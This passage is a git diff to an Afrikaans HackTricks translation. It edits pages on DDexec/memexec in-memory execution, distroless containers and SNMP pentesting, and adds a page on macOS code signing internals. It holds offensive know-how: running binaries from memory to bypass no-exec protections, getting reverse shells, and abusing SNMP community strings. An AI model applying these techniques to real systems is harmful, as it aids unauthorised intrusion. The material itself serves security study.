-[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **ander binêre** wil **hardloop**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec tegniek hardloop en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en te hardloop**.
+[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **ander binêre** wil **hardloop**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec-tegniek hardloop en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en te hardloop**.
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre van 'n PHP reverse shell** uit te voer in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@@ -106,7 +106,7 @@ Met 'n soortgelyke doel as DDexec, laat die [**memdlopen**](https://github.com/a
### Wat is distroless
-Distroless houers bevat slegs die **bare minimum komponente wat nodig is om 'n spesifieke toepassing of diens te laat loop**, soos biblioteke en runtime afhanklikhede, maar sluit groter komponente soos 'n pakketbestuurder, skulp of stelseldienste uit.
+Distroless houers bevat slegs die **minimale komponente wat nodig is om 'n spesifieke toepassing of diens te laat loop**, soos biblioteke en runtime-afhanklikhede, maar sluit groter komponente soos 'n pakketbestuurder, skulp of stelseldienste uit.
Die doel van distroless houers is om die **aanvaloppervlak van houers te verminder deur onnodige komponente te verwyder** en die aantal kwesbaarhede wat uitgebuit kan word, te minimaliseer.
@@ -130,11 +130,11 @@ As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shel
Echter, in hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
{% endhint %}
-Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te exploiteer** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
+Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -146,7 +146,7 @@ Leer & oefen GCP Hacking: Support HackTricks
-* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
+* Check die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md
new file mode 100644
index 000000000..8471a5c5c
--- /dev/null
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md
@@ -0,0 +1,391 @@
+# macOS Code Signing
+
+{% hint style="success" %}
+Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
+* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## Basic Information
+
+Mach-o binêre bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **offset** en **grootte** van die handtekeninge binne die binêre aandui. Trouens, deur die GUI-gereedskap MachOView te gebruik, is dit moontlik om aan die einde van die binêre 'n afdeling genaamd **Code Signature** met hierdie inligting te vind:
+
+
+
+Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\
+Dit is moontlik om hierdie inligting in die [bronkode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) te vind:
+```c
+/*
+* Structure of an embedded-signature SuperBlob
+*/
+
+typedef struct __BlobIndex {
+uint32_t type; /* type of entry */
+uint32_t offset; /* offset of entry */
+} CS_BlobIndex
+__attribute__ ((aligned(1)));
+
+typedef struct __SC_SuperBlob {
+uint32_t magic; /* magic number */
+uint32_t length; /* total length of SuperBlob */
+uint32_t count; /* number of index entries following */
+CS_BlobIndex index[]; /* (count) entries */
+/* followed by Blobs in no particular order as indicated by offsets in index */
+} CS_SuperBlob
+__attribute__ ((aligned(1)));
+
+#define KERNEL_HAVE_CS_GENERICBLOB 1
+typedef struct __SC_GenericBlob {
+uint32_t magic; /* magic number */
+uint32_t length; /* total length of blob */
+char data[];
+} CS_GenericBlob
+__attribute__ ((aligned(1)));
+```
+Algemene blobs wat bevat word, is Code Directory, Requirements en Entitlements en 'n Cryptographic Message Syntax (CMS).\
+Boonop, let op hoe die data wat in die blobs gekodeer is, in **Big Endian** gekodeer is.
+
+Boonop kan handtekeninge van die binaries losgemaak word en gestoor word in `/var/db/DetachedSignatures` (gebruik deur iOS).
+
+## Code Directory Blob
+
+Dit is moontlik om die verklaring van die [Code Directory Blob in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104) te vind:
+```c
+typedef struct __CodeDirectory {
+uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
+uint32_t length; /* total length of CodeDirectory blob */
+uint32_t version; /* compatibility version */
+uint32_t flags; /* setup and mode flags */
+uint32_t hashOffset; /* offset of hash slot element at index zero */
+uint32_t identOffset; /* offset of identifier string */
+uint32_t nSpecialSlots; /* number of special hash slots */
+uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
+uint32_t codeLimit; /* limit to main image signature range */
+uint8_t hashSize; /* size of each hash in bytes */
+uint8_t hashType; /* type of hash (cdHashType* constants) */
+uint8_t platform; /* platform identifier; zero if not platform binary */
+uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
+uint32_t spare2; /* unused (must be zero) */
+
+char end_earliest[0];
+
+/* Version 0x20100 */
+uint32_t scatterOffset; /* offset of optional scatter vector */
+char end_withScatter[0];
+
+/* Version 0x20200 */
+uint32_t teamOffset; /* offset of optional team identifier */
+char end_withTeam[0];
+
+/* Version 0x20300 */
+uint32_t spare3; /* unused (must be zero) */
+uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
+char end_withCodeLimit64[0];
+
+/* Version 0x20400 */
+uint64_t execSegBase; /* offset of executable segment */
+uint64_t execSegLimit; /* limit of executable segment */
+uint64_t execSegFlags; /* executable segment flags */
+char end_withExecSeg[0];
+
+/* Version 0x20500 */
+uint32_t runtime;
+uint32_t preEncryptOffset;
+char end_withPreEncryptOffset[0];
+
+/* Version 0x20600 */
+uint8_t linkageHashType;
+uint8_t linkageApplicationType;
+uint16_t linkageApplicationSubType;
+uint32_t linkageOffset;
+uint32_t linkageSize;
+char end_withLinkage[0];
+
+/* followed by dynamic content as located by offset fields above */
+} CS_CodeDirectory
+__attribute__ ((aligned(1)));
+```
+Let daarop dat daar verskillende weergawes van hierdie struktuur is waar oues minder inligting mag bevat.
+
+## Onderteken Kode Bladsye
+
+Hashing van die volle binêre sou ondoeltreffend en selfs nutteloos wees as dit net gedeeltelik in geheue gelaai word. Daarom is die kodehandtekening eintlik 'n hash van hashes waar elke binêre bladsy individueel gehasht word.\
+Eintlik kan jy in die vorige **Kode Gids** kode sien dat die **bladgrootte gespesifiseer is** in een van sy velde. Boonop, as die grootte van die binêre nie 'n veelvoud van die grootte van 'n bladsy is nie, spesifiseer die veld **CodeLimit** waar die einde van die handtekening is.
+```bash
+# Get all hashes of /bin/ps
+codesign -d -vvvvvv /bin/ps
+[...]
+CandidateCDHash sha256=c46e56e9490d93fe35a76199bdb367b3463c91dc
+CandidateCDHashFull sha256=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
+Hash choices=sha256
+CMSDigest=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
+CMSDigestType=2
+Executable Segment base=0
+Executable Segment limit=32768
+Executable Segment flags=0x1
+Page size=4096
+-7=a542b4dcbc134fbd950c230ed9ddb99a343262a2df8e0c847caee2b6d3b41cc8
+-6=0000000000000000000000000000000000000000000000000000000000000000
+-5=2bb2de519f43b8e116c7eeea8adc6811a276fb134c55c9c2e9dcbd3047f80c7d
+-4=0000000000000000000000000000000000000000000000000000000000000000
+-3=0000000000000000000000000000000000000000000000000000000000000000
+-2=4ca453dc8908dc7f6e637d6159c8761124ae56d080a4a550ad050c27ead273b3
+-1=0000000000000000000000000000000000000000000000000000000000000000
+0=a5e6478f89812c0c09f123524cad560a9bf758d16014b586089ddc93f004e39c
+1=ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
+2=93d476eeace15a5ad14c0fb56169fd080a04b99582b4c7a01e1afcbc58688f
+[...]
+
+# Calculate the hasehs of each page manually
+BINARY=/bin/ps
+SIZE=`stat -f "%Z" $BINARY`
+PAGESIZE=4096 # From the previous output
+PAGES=`expr $SIZE / $PAGESIZE`
+for i in `seq 0 $PAGES`; do
+dd if=$BINARY of=/tmp/`basename $BINARY`.page.$i bs=$PAGESIZE skip=$i count=1
+done
+openssl sha256 /tmp/*.page.*
+```
+## Entitlements Blob
+
+Let op dat toepassings ook 'n **entitlement blob** kan bevat waar al die regte gedefinieer is. Boonop kan sommige iOS-binaries hul regte spesifiek in die spesiale slot -7 hê (in plaas van in die -5 regte spesiale slot).
+
+## Special Slots
+
+MacOS-toepassings het nie alles wat hulle nodig het om binne die binêre uit te voer nie, maar hulle gebruik ook **buitelandse hulpbronne** (gewoonlik binne die toepassings **bundle**). Daarom is daar 'n paar slots binne die binêre wat die hashes van 'n paar interessante buitelandse hulpbronne sal bevat om te kontroleer dat hulle nie gewysig is nie.
+
+Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd **`nSpecialSlots`** te sien wat die aantal spesiale slots aandui. Daar is nie 'n spesiale slot 0 nie en die mees algemene (van -1 tot -6) is:
+
+* Hash van `info.plist` (of die een binne `__TEXT.__info__plist`).
+* Hash van die Vereistes
+* Hash van die Hulpbron Directory (hash van `_CodeSignature/CodeResources` lêer binne die bundle).
+* Toepassing spesifiek (onbenut)
+* Hash van die regte
+* DMG kode handtekeninge slegs
+* DER Regte
+
+## Code Signing Flags
+
+Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kernel begin word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
+```c
+/* code signing attributes of a process */
+#define CS_VALID 0x00000001 /* dynamically valid */
+#define CS_ADHOC 0x00000002 /* ad hoc signed */
+#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
+#define CS_INSTALLER 0x00000008 /* has installer entitlement */
+
+#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
+#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
+
+#define CS_HARD 0x00000100 /* don't load invalid pages */
+#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
+#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
+#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
+
+#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
+#define CS_REQUIRE_LV 0x00002000 /* require library validation */
+#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
+#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
+
+#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
+#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
+
+#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
+CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
+
+#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
+#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
+#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
+#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
+
+#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
+#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
+#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
+#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
+#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
+
+#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
+#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
+#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
+#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
+
+#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
+```
+Note dat die funksie [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) ook die `CS_EXEC_*` vlae dinamies kan byvoeg wanneer dit die uitvoering begin.
+
+## Kode Handtekening Vereistes
+
+Elke toepassing stoor **vereistes** wat dit moet **tevrede stel** om uitgevoer te kan word. As die **toepassing vereistes bevat wat nie deur die toepassing tevrede gestel word nie**, sal dit nie uitgevoer word nie (soos dit waarskynlik verander is).
+
+Die vereistes van 'n binêre gebruik 'n **spesiale grammatika** wat 'n stroom van **uitdrukkings** is en word as blobs gekodeer met `0xfade0c00` as die magie waarvan die **hash in 'n spesiale kode-slot gestoor word**.
+
+Die vereistes van 'n binêre kan gesien word deur te loop:
+
+{% code overflow="wrap" %}
+```bash
+codesign -d -r- /bin/ls
+Executable=/bin/ls
+designated => identifier "com.apple.ls" and anchor apple
+
+codesign -d -r- /Applications/Signal.app/
+Executable=/Applications/Signal.app/Contents/MacOS/Signal
+designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
+```
+{% endcode %}
+
+{% hint style="info" %}
+Let op hoe hierdie handtekeninge dinge soos sertifiseringsinligting, TeamID, ID's, regte en baie ander data kan nagaan.
+{% endhint %}
+
+Boonop is dit moontlik om 'n paar saamgestelde vereistes te genereer met die `csreq` hulpmiddel:
+
+{% code overflow="wrap" %}
+```bash
+# Generate compiled requirements
+csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
+
+# Get the compiled bytes
+od -A x -t x1 /tmp/output.csreq
+0000000 fa de 0c 00 00 00 00 b0 00 00 00 01 00 00 00 06
+0000010 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 02
+0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
+[...]
+```
+{% endcode %}
+
+Dit is moontlik om toegang tot hierdie inligting te verkry en vereistes te skep of te wysig met sommige API's van die `Security.framework` soos:
+
+#### **Kontroleer Geldigheid**
+
+* **`Sec[Static]CodeCheckValidity`**: Kontroleer die geldigheid van SecCodeRef per Vereiste.
+* **`SecRequirementEvaluate`**: Valideer vereiste in sertifikaat konteks
+* **`SecTaskValidateForRequirement`**: Valideer 'n lopende SecTask teen `CFString` vereiste.
+
+#### **Skep en Bestuur Kode Vereistes**
+
+* **`SecRequirementCreateWithData`:** Skep 'n `SecRequirementRef` uit binêre data wat die vereiste verteenwoordig.
+* **`SecRequirementCreateWithString`:** Skep 'n `SecRequirementRef` uit 'n stringuitdrukking van die vereiste.
+* **`SecRequirementCopy[Data/String]`**: Verkry die binêre data voorstelling van 'n `SecRequirementRef`.
+* **`SecRequirementCreateGroup`**: Skep 'n vereiste vir app-groep lidmaatskap
+
+#### **Toegang tot Kode Handtekening Inligting**
+
+* **`SecStaticCodeCreateWithPath`**: Inisialiseer 'n `SecStaticCodeRef` objek vanaf 'n lêerstelsel pad vir die inspeksie van kode handtekeninge.
+* **`SecCodeCopySigningInformation`**: Verkry handtekening inligting van 'n `SecCodeRef` of `SecStaticCodeRef`.
+
+#### **Wysig Kode Vereistes**
+
+* **`SecCodeSignerCreate`**: Skep 'n `SecCodeSignerRef` objek vir die uitvoering van kode handtekening operasies.
+* **`SecCodeSignerSetRequirement`**: Stel 'n nuwe vereiste vir die kode ondertekenaar in om tydens ondertekening toe te pas.
+* **`SecCodeSignerAddSignature`**: Voeg 'n handtekening by die kode wat onderteken word met die gespesifiseerde ondertekenaar.
+
+#### **Valideer Kode met Vereistes**
+
+* **`SecStaticCodeCheckValidity`**: Valideer 'n statiese kode objek teen gespesifiseerde vereistes.
+
+#### **Addisionele Nuttige API's**
+
+* **`SecCodeCopy[Internal/Designated]Requirement`: Kry SecRequirementRef van SecCodeRef**
+* **`SecCodeCopyGuestWithAttributes`**: Skep 'n `SecCodeRef` wat 'n kode objek verteenwoordig gebaseer op spesifieke eienskappe, nuttig vir sandboxing.
+* **`SecCodeCopyPath`**: Verkry die lêerstelsel pad geassosieer met 'n `SecCodeRef`.
+* **`SecCodeCopySigningIdentifier`**: Verkry die handtekening identifiseerder (bv. Span ID) van 'n `SecCodeRef`.
+* **`SecCodeGetTypeID`**: Gee die tipe identifiseerder vir `SecCodeRef` objek.
+* **`SecRequirementGetTypeID`**: Kry 'n CFTypeID van 'n `SecRequirementRef`
+
+#### **Kode Handtekening Vlaggies en Konstanten**
+
+* **`kSecCSDefaultFlags`**: Standaard vlaggies wat in baie Security.framework funksies vir kode handtekening operasies gebruik word.
+* **`kSecCSSigningInformation`**: Vlag wat gebruik word om aan te dui dat handtekening inligting verkry moet word.
+
+## Kode Handtekening Afforcing
+
+Die **kernel** is die een wat **die kode handtekening nagaan** voordat dit die kode van die app toelaat om uit te voer. Boonop, een manier om in geheue nuwe kode te kan skryf en uit te voer, is om JIT te misbruik as `mprotect` met `MAP_JIT` vlag aangeroep word. Let daarop dat die toepassing 'n spesiale regte benodig om dit te kan doen.
+
+## `cs_blobs` & `cs_blob`
+
+[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktuur bevat die inligting oor die regte van die lopende proses daarop. `csb_platform_binary` dui ook aan of die toepassing 'n platform binêre is (wat op verskillende tye deur die OS nagegaan word om sekuriteitsmeganismes toe te pas soos om die SEND regte na die taakpoorte van hierdie prosesse te beskerm).
+```c
+struct cs_blob {
+struct cs_blob *csb_next;
+vnode_t csb_vnode;
+void *csb_ro_addr;
+__xnu_struct_group(cs_cpu_info, csb_cpu_info, {
+cpu_type_t csb_cpu_type;
+cpu_subtype_t csb_cpu_subtype;
+});
+__xnu_struct_group(cs_signer_info, csb_signer_info, {
+unsigned int csb_flags;
+unsigned int csb_signer_type;
+});
+off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
+off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
+off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
+vm_size_t csb_mem_size;
+vm_offset_t csb_mem_offset;
+void *csb_mem_kaddr;
+unsigned char csb_cdhash[CS_CDHASH_LEN];
+const struct cs_hash *csb_hashtype;
+#if CONFIG_SUPPLEMENTAL_SIGNATURES
+unsigned char csb_linkage[CS_CDHASH_LEN];
+const struct cs_hash *csb_linkage_hashtype;
+#endif
+int csb_hash_pageshift;
+int csb_hash_firstlevel_pageshift; /* First hash this many bytes, then hash the hashes together */
+const CS_CodeDirectory *csb_cd;
+const char *csb_teamid;
+#if CONFIG_SUPPLEMENTAL_SIGNATURES
+char *csb_supplement_teamid;
+#endif
+const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
+const CS_GenericBlob *csb_der_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
+
+/*
+* OSEntitlements pointer setup by AMFI. This is PAC signed in addition to the
+* cs_blob being within RO-memory to prevent modifications on the temporary stack
+* variable used to setup the blob.
+*/
+void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_entitlements") csb_entitlements;
+
+unsigned int csb_reconstituted; /* signature has potentially been modified after validation */
+__xnu_struct_group(cs_blob_platform_flags, csb_platform_flags, {
+/* The following two will be replaced by the csb_signer_type. */
+unsigned int csb_platform_binary:1;
+unsigned int csb_platform_path:1;
+});
+
+/* Validation category used for TLE */
+unsigned int csb_validation_category;
+
+#if CODE_SIGNING_MONITOR
+void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_csm_obj") csb_csm_obj;
+bool csb_csm_managed;
+#endif
+};
+```
+## Verwysings
+
+* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
+
+{% hint style="success" %}
+Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Ondersteun HackTricks
+
+* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
+* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index 113d3db0f..de285a587 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -8,14 +8,14 @@ Leer & oefen GCP Hacking: Ondersteun HackTricks
-* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
-* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
+* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
-
+
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
@@ -34,7 +34,7 @@ SNMP gebruik ook die poort **162/UDP** vir **traps**. Dit is data **pakkette wat
### MIB
-Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
+Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek verskaf.\
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
### OIDs
@@ -48,7 +48,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
+Daar is 'n paar **bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
### **OID Voorbeeld**
@@ -98,7 +98,7 @@ Daar is **2 tipes gemeenskapsstrings**:
* **`public`** hoofsaaklik **lees net** funksies
* **`private`** **Lees/Skryf** in die algemeen
-Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** objekte wees wat **altyd "Lees Net"** is.\
+Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** voorwerpe wees wat **altyd "Lees Net"** is.\
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
@@ -109,7 +109,7 @@ In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die b
* Die SNMP-agent ontvang versoeke op UDP-poort **161**.
* Die bestuurder ontvang kennisgewings ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) en [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) op poort **162**.
-* Wanneer dit gebruik word met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), word versoeke ontvang op poort **10161** en kennisgewings word gestuur na poort **10162**.
+* Wanneer dit saam met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) gebruik word, word versoeke op poort **10161** ontvang en kennisgewings word na poort **10162** gestuur.
## Brute-Force Gemeenskapsstring (v1 en v2c)
